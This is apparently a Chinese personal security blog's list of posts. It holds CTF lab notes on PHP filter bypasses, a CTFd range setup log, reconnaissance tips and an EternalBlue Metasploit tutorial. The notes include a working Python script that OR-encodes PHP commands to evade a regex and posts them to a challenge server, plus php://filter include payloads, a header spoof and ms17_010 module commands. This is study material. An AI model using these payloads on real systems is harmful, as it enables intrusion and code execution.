[靶场笔记]第四章

data伪协议 和php://input一样,用来执行代码,不一样的地方是,data可以直接用GET传值 格式是 明文: data://text/plain,<?php ... ?> base64编码: data://text/plain;base64,... cat的兄弟tac tac是反向输出,可以用来逃避cat过滤 或运算绕过 & 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,来看一下下面这段正则匹配 [0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\- 怎么绕过上面这样的匹配呢?可以发现上面这段匹配里没有|,因此可以使用或运算绕过 大概思路就是将除上述匹配外的Ascii字符筛选出来,然后再进行或运算,计算出结果和想要的命令匹配即可 下面是脚本 import re import requests url="http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080" a=[] ans1="" ans2="" for i in range(0,256): c=chr(i) tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I) if(tmp): continue #print(tmp.group(0)) else: a.append(i) # eval("echo($c);"); mya="system" #函数名 这里修改! myb="ls" #参数 def myfun(k,my): global ans1 global ans2 for i in range (0,len(a)): for j in range(i,len(a)): if(a[i]|a[j]==ord(my[k])): ans1+=chr(a[i]) ans2+=chr(a[j]) return; for k in range(0,len(mya)): myfun(k,mya) data1="(\""+ans1+"\"|\""+ans2+"\")" ans1="" ans2="" for k in range(0,len(myb)): myfun(k,myb) data2="(\""+ans1+"\"|\""+ans2+"\")" data={"c":data1+data2} r=requests.post(url=url,data=data) print(r.text) >/dev/null 2>&1 这句代码得拆开看 先来看看这句>/dev/null。这句的意思就是将前面输出的内容重定向到一个叫/dev/null的目录下,/dev目录一般是设备挂载目录,而null就是空设备的意思,因此就是让输出结果不要输出到任何设备上,包括你的屏幕,而是消失在茫茫太空中 接着是2>&1,首先要知道2在linux标准输出中表示的是错误报错,1是正常输出,所以这句意思是将错误报错也重定向到1输出的地方,而因为1输出已经被丢到太空里,所以2也会跟着他一起流浪 ...

May 18, 2023 · 1 min · Red

[靶场笔记]第三章

伪随机 mt_srand这个函数是伪随机,给了随机种子,生成随机数都是固定的 另外,随机种子会因为php版本不同而不同,种子计算可以用工具php_mt_scrand nl查询 其实这里想说的是任意执行这个大类,在一些题目中可能会有奇怪的过滤,执行查询时如果cat不行可以试试nl,另外记得看一看网页源代码 一种很特殊的函数绕过法 show_source(next(array_reverse(scandir(pos(localeconv()))))); 不要被这一长串吓到了,如果flag文件说带有.且已经被过滤的,就可以用这方法 首先localeconv第一个元素是.,pos只返回第一个元素,scandir扫描当前目录并存入数组,array_reverse以相反的元素顺序返回数组,next输出当前元素的下一个元素值,最后再用show_source高亮输出 是不是很神奇? 一种也很特殊的叠加方法 仔细观察下面这段php $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } 再仔细观察下面这个段get请求参数 ?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64- encode/resource=flag.php 学会了吗? Get请求变量 经常看到以一个单词作为接受请求的变量,如下 $_GET["url"] 但其实把“url”换成1是可以的,这样就能达到绕过双引号过滤的目的。 同理,单个字母也是可以的 两段php代码 如果碰到了一个eval函数,那么首当其冲可以先写一个?>对前面的php进行闭合,这样再怎么过滤也不会过滤到后面的代码上了 不过需要注意的是,就算后面代码运行时不会过滤,但不代表代码输入进去时不会被过滤一遍,举个例子 c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php 这段代码的1变量内容不会被过滤,但c仍然会

May 16, 2023 · 1 min · Red

[技术杂谈]XUJC Lab搭建心得

这段时间忙着弄学校的靶场,都没时间写博客,那就简单地总结一下靶场搭建时候遇到的几个大坑 绝对不是为了水文章 动态题目容器部署 动态flag 动态题目部署最常遇到的问题,就是flag没法挂载 原理是什么呢? 靶场使用的框架是CTFd V2.1.5,适配的动态部署插件是ctfd-owl 一开始我以为owl插件和赵师傅的ctfd-whale插件实现原理是一样的,就依葫画瓢地去clone了CTFTraining,结果发现部署是能部署了,却怎么也调不到想要的动态flag 随便打开一道题的docker-compose.yml,发现预留了一个environment属性,用来修改FLAG环境变量的值 由于前面部署发现flag并没有随不同容器而改变,因此可以推测出owl和whale插件不一样的地方就在动态flag的修改方式不同 因为owl自带了一道题目作为test,并且是一道file upload 对照后发现了一个flag的文件映射,再根据进入容器查看后发现,确实在容器根目录下成功写入了动态flag 因此再次推断,flag就是通过外部flag文件被写入后再映射进去的 但还有一个问题是,如果题目是一些类似sql注入这样的题目,答题者无法直接读取flag文件的,要怎么办呢? 不慌,回到刚刚说到的environment属性 在一道sql注入题的Dockerfile中发现CMD命令会执行一个叫flag.sh的shell文件,文件内容如图 上图的FLAG是我自己添加进去的,在原版CTFTraining中是没有’cat /flag‘这句代码的。这里经过查阅,发现export为设置环境变量,所以如果想让flag写入到数据库中,就可以通过这样的形式写入进去 环境变量配置 正如上面所说,想要给一些无法直接接触到flag文件的题目配置动态flag,就需要使用环境变量赋值。可是,当我再一次进行尝试时,发现还是部署不上去,导致在这个地方卡了整整两天 直到某天在群上,我被罗少的一句话点醒 “用./形式运行的子shell是无法修改父shell环境变量的,但用source运行的话就不是子shell运行,而是直接被系统shell运行” 打开Dockerfile后发现,CMD命令的确使用的是./运行方法,修改后如下 就成功解决问题啦~ (还是要感谢罗少的提示) 无法修改的容器 当我修改完我的docker配置文件后,正当一切准备就绪,激动地按下docker-compose up -d后,发现容器非但没给我部署上正确flag,甚至连原本自带的flag都没了,在这个地方又卡了整整一天 正当我百思不得其解的时候,胡乱翻看网上博客,才想起来在docker-compose中还带有image这个属性,经过翻看文档后才得知,docker compose在部署容器集群时,会优先根据image属性读取镜像库中的镜像,而不是利用Dockerfile的配置自己制作容器。 就这样,删掉image属性和本地悬挂镜像后,一切便大功告成 (果然还是得听罗少的话,用什么之前都得好好看文档) 就先写到这儿了,要是碰到什么问题再补充叭

May 14, 2023 · 1 min · Red

[靶场笔记]第二章

备份文件 常见的源码泄露有以下几种 .hg源码泄漏 .git源码泄漏 .DS_Store文件泄漏,还有以.phps .bak 重要的是,上面这些备份文件不一定能被dirsearch扫描到 include函数 在php中,include有一条你可能不仔细斟酌就没法理解的话 如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 .. 开头)——include_path 都会被完全忽略。例如一个文件以 ../ 开头,则解析器会在当前目录的父目录下寻找该文件。 什么意思呢?如果你有一个路径叫source.php?/../../../../ffffllllaaaagggg,那么在include执行时将忽略/前的字符串而去找/../../../../ffffllllaaaagggg这个文件 并且,你不需要担心这个..回溯写太多了,记住,include会从父级文件搜起,就算你从根目录开始搜也能找到答案 vim备份泄露 后缀是.swp,emm是我经常忘的一个后缀 域名TXT 域名解析的时候会有个叫TXT的附加信息,里面可能藏着东西 页面信息 一定要记得检查页面中的信息,每个可能出现按钮的地方都给他点几下 探针泄露 有种东西叫探针,是用来检测网站搭建时情况的 如果忘记删掉,那么网站信息基本上将被一览无余 经典探针有这些: php雅黑探针 tz.php UenuProbe探针 UPUPW PHP 探针 u.php B-Check探针 iProber探针 浪点PHP探针 C1G PHP探针 phpenv2.1.php 9Gan php探针 js文件 虽然很多时候js文件进不去,但还是得习惯性看一下,有可能存在必须绕过的地方 IP过滤 IP出现问题直接上X-forwarded-For: 127.0.0.1 asp程序和access数据库结合体 这种奇怪的东西一般会存在一个mdb文件(目录:~/db/db.mdb),可以改成txt后缀打开 sql备份 有时候会存在类似像backup.sql这样的备份文件,记得试试(敢这样存的真的不会被骂吗)

April 25, 2023 · 1 min · Red

Echo战队第18次培训——Metasploit之“永恒之蓝”漏洞利用

一、 环境准备 1 一台Windows电脑 (可以使用虚拟机代替) 2 Metasploit任意平台 可以是Windows版,可以是kali自带版 二、 CVE-2017-0144 介绍 1.何为CVE-2017-0144? ​ CVE-2017-0144 既 永恒之蓝最早爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了勒索病毒,使全世界大范围内遭受了勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。 2.什么是SMB协议? SMB是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。 3.SMB工作原理是什么? (1):首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。 (2):协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。 (3):当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。 (4):连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。 三、原理 永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。 四、CVE-2017-0144 利用方法 1 启动Metasploit 终端里输入 msfconsole 2 查询利用模块 终端里输入 search ms17_010 a 3 使用探测模块 终端内输入 use auxiliary/scanner/smb/smb_ms17_010 4 设置探测范围 终端内输入 show options 上图中我们可以看到是需要配置一个RHOSTS 终端内输入 set rhosts 192.168.3.0/24 (设置扫描当前网段 可以通过 在终端内输入ip a 查看) 也可以设置范围 set rhosts 192.168.3.1-192.168.3.10 ...

April 23, 2023 · 1 min · Red